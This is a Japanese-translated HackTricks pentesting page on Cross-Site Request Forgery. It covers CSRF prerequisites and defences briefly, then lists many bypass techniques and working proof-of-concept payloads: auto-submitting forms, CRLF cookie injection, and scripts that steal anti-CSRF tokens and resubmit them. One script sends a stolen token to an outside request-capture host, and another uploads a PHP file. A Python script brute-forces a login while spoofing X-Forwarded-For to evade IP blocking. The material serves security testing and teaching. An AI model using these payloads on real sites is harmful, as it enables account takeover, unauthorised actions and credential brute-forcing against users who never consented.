CSRF (Cross Site Request Forgery)

Reading time: 25 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Cross-Site Request Forgery (CSRF) Explained

Cross-Site Request Forgery (CSRF) は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。攻撃者は認証済みセッションを悪用して、ユーザーに気付かれないうちにそのユーザーの代わりに操作を行わせることができます。攻撃は、被害者のプラットフォームにログイン中のユーザーが悪意のあるサイトを訪れたときに実行され、そのサイトが JavaScript の実行、フォームの送信、画像の取得などで被害者アカウントへリクエストを送信します。

Prerequisites for a CSRF Attack

CSRF 脆弱性を悪用するには、いくつかの条件が満たされている必要があります:

  1. Identify a Valuable Action: 攻撃者は、パスワードやメールの変更、権限昇格など、悪用価値のあるアクションを見つける必要があります。
  2. Session Management: ユーザーのセッションが cookies や HTTP Basic Authentication header のみで管理されている必要があります。他のヘッダはこの目的で操作できないためです。
  3. Absence of Unpredictable Parameters: リクエストに予測不可能なパラメータが含まれていると、攻撃が阻止される可能性があります。

Quick Check

Burp でリクエストをキャプチャして CSRF 保護を確認できます。ブラウザからテストするには、Copy as fetch をクリックしてリクエストを確認してください:

Defending Against CSRF

CSRF 攻撃から守るために実装できる対策はいくつかあります:

  • SameSite cookies: この属性はブラウザがクロスサイトリクエストに対して cookies を送信するのを防ぎます。More about SameSite cookies.
  • Cross-origin resource sharing: 被害者サイトの CORS ポリシーは、特に攻撃が被害者サイトのレスポンスを読む必要がある場合に攻撃の実現可能性に影響します。Learn about CORS bypass.
  • User Verification: ユーザーのパスワード再入力や captcha の提示により、ユーザーの意図を確認できます。
  • Checking Referrer or Origin Headers: これらのヘッダを検証することで、信頼できるソースからのリクエストかを判断できます。ただし、URL の巧妙な作り込みで不適切に実装されたチェックを回避できる場合があります。例:
  • http://mal.net?orig=http://example.com(URL が信頼された URL で終わる)
  • http://example.com.mal.net(URL が信頼された URL で始まる)
  • Modifying Parameter Names: POST や GET のパラメータ名を変更することで、自動化された攻撃を防ぐのに役立ちます。
  • CSRF Tokens: 各セッションに一意の CSRF トークンを組み込み、そのトークンを後続のリクエストで必須にすることで CSRF のリスクを大幅に軽減できます。CORS を併用するとトークンの有効性はさらに高まります。

これらの防御策を理解し実装することは、ウェブアプリケーションのセキュリティと完全性を維持する上で重要です。

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

一部のアプリケーションは POST に対してのみ CSRF 検証を強制し、他の HTTP メソッドではスキップすることがあります。PHP でよくあるアンチパターンは次のようになります:

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

脆弱なエンドポイントが $_REQUEST からのパラメータも受け付ける場合、同じアクションを GET リクエストとして再発行し、CSRF token を完全に省略できます。これにより、POST 専用のアクションを token なしで成功する GET アクションに変換できます。

Example:

  • Original POST with token (intended):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notes:

  • このパターンは、レスポンスが application/json ではなく誤って text/html として返される reflected XSS と一緒に現れることが多いです。
  • これを XSS と組み合わせると、脆弱なコードパスをトリガーしつつ CSRF チェックを完全に回避する単一の GET リンクを配布できるため、悪用のハードルが大幅に下がります。

Lack of token

アプリケーションは、token が存在する場合にそれを validate する仕組みを実装していることがあります。しかし、token が欠落しているときに検証処理を完全にスキップしてしまうと脆弱性が発生します。攻撃者は token の値を変えるだけでなく、token を運んでいる parameter 自体を削除することでこれを悪用できます。これにより検証を回避し、Cross-Site Request Forgery (CSRF) を効果的に実行できます。

CSRF token is not tied to the user session

CSRF tokens を user sessions に紐付けていないアプリケーションは重大な security risk を抱えています。これらのシステムは各トークンを発行元セッションに結び付けるのではなく、global pool に対して検証を行います。

攻撃者がこれを悪用する流れは次の通りです:

  1. 自分のアカウントで認証する。
  2. global pool から有効な CSRF token を取得する。
  3. その token を被害者に対する CSRF 攻撃で使用する。

この脆弱性により、攻撃者は被害者になりすまして不正なリクエストを送信でき、アプリケーションの不十分な token validation 機構を悪用できます。

Method bypass

リクエストが「変わった」method を使用している場合、method override 機能が動作しているか確認してください。例えば PUT を使っている場合、POST を使って以下のように送ることで試せます: https://example.com/my/dear/api/val/num?_method=PUT

これは、_method parameter を POST リクエスト内に含めるか、次のような headers を使って送ることでも動作する可能性があります:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Custom header token bypass

リクエストに CSRF protection method として custom headertoken を追加している場合は、次を試してください:

  • Customized Token と header の両方を省いた状態でリクエストをテストする。
  • 同じ長さだが異なる token を使ってリクエストをテストする。

アプリケーションは、token を cookie とリクエスト parameter の両方に複製するか、CSRF cookie をセットしてバックエンドで送信された token がその cookie に対応しているかを検証することで CSRF 保護を実装することがあります。アプリケーションは、リクエスト parameter の token が cookie の値と一致するかをチェックしてリクエストを検証します。

しかし、この方法は、攻撃者が被害者のブラウザに CSRF cookie を設定できてしまうような脆弱性(例: CRLF 脆弱性)があると CSRF 攻撃に対して脆弱になります。攻撃者は、まず不正な画像を読み込ませて cookie を設定させ、続けて CSRF 攻撃を開始することでこれを悪用できます。

以下は攻撃の構成例です:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

注意: csrf token が session cookie に関連している場合、この攻撃は機能しません。なぜなら被害者の session を設定する必要があり、その結果自分自身を攻撃することになるからです。

Content-Typeの変更

According to this, in order to preflight を回避する requests using POST method these are the allowed Content-Type values:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

However, note that the サーバのロジックは異なる場合があります depending on the Content-Type used so you should try the values mentioned and others like application/json,text/xml, application/xml.

Example (from here) of sending JSON data as text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

JSON データの preflight request の回避

POST リクエストで JSON データを送信しようとする場合、HTML フォーム内で Content-Type: application/json を直接指定することはできません。同様に、XMLHttpRequest を使ってこの Content-Type を送ると preflight request が発生します。それでも、この制約を回避して、サーバが Content-Type に関係なく JSON データを処理するかを確認するための手法はいくつかあります:

  1. 代替 Content-Type を使用する: フォームで enctype="text/plain" を設定し、Content-Type: text/plain または Content-Type: application/x-www-form-urlencoded を使用します。この方法はバックエンドが Content-Type に関係なくデータを使用するかをテストします。
  2. Content-Type を修正する: preflight request を発生させずにサーバが内容を JSON と認識するようにするために、データを Content-Type: text/plain; application/json で送信できます。これにより preflight request は発生しませんが、サーバが application/json を受け入れる設定になっていれば正しく処理される可能性があります。
  3. SWF Flash ファイルの利用: あまり一般的ではありませんが、SWF フラッシュファイルを用いてこれらの制限を回避する方法があります。この手法の詳細は this post を参照してください。

Referrer / Origin チェック回避

Referrer ヘッダを避ける

アプリケーションは 'Referer' ヘッダが存在する場合にのみ検証することがあります。ブラウザがこのヘッダを送信しないようにするには、次の HTML meta タグを使用します:

xml
<meta name="referrer" content="never">

これにより 'Referer' ヘッダーが省略され、いくつかのアプリケーションでの検証チェックを潜在的に回避できます。

Regexp bypasses

URL Format Bypass

パラメータ内に Referrer が送信する URL のサーバーのドメイン名を設定するには、次のようにします:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

this CTF writeup の最初の部分では、Oak's source code にあるように、ルーターが handle HEAD requests as GET requests(レスポンスボディなし)として設定されていると説明されています — これは Oak 固有のものではない一般的な回避策です。HEAD リクエスト専用のハンドラを用意する代わりに、単に given to the GET handler but the app just removes the response body という扱いになっています。

したがって、GET リクエストが制限されている場合は、GET として処理される HEAD リクエストを送信するだけで済みます。

Exploit Examples

CSRFトークンの持ち出し

もし CSRFトークン防御 として使われている場合、XSS の脆弱性や Dangling Markup の脆弱性を悪用してそれを 持ち出す ことを試みることができます。

GET using HTML tags

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

自動的にGETリクエストを送信するために使用できる他のHTML5タグは:

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

フォームの GET リクエスト

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

フォームの POST リクエスト

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

iframe経由のフォームPOSTリクエスト

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST リクエスト

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST リクエスト

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST リクエスト v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

iframe内からのForm POSTリクエスト

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

CSRF Tokenを盗み、POSTリクエストを送信する

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

CSRF Tokenを窃取して、iframe、form、AjaxでPostリクエストを送信する

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

CSRF Tokenを盗んで、iframeとformを使ってPOSTリクエストを送信する

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

token を盗み、2つの iframes を使って送信する

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF tokenをAjaxで取得し、フォームでPOSTを送信する

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

Socket.IOでのCSRF

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

このコードはCSRFトークンを使用してlogin formに対してBrut Forceを行うために使用できます(また、X-Forwarded-Forヘッダーを使用して、可能性のあるIPのblacklistingを回避しようとします):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

ツール

参考

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする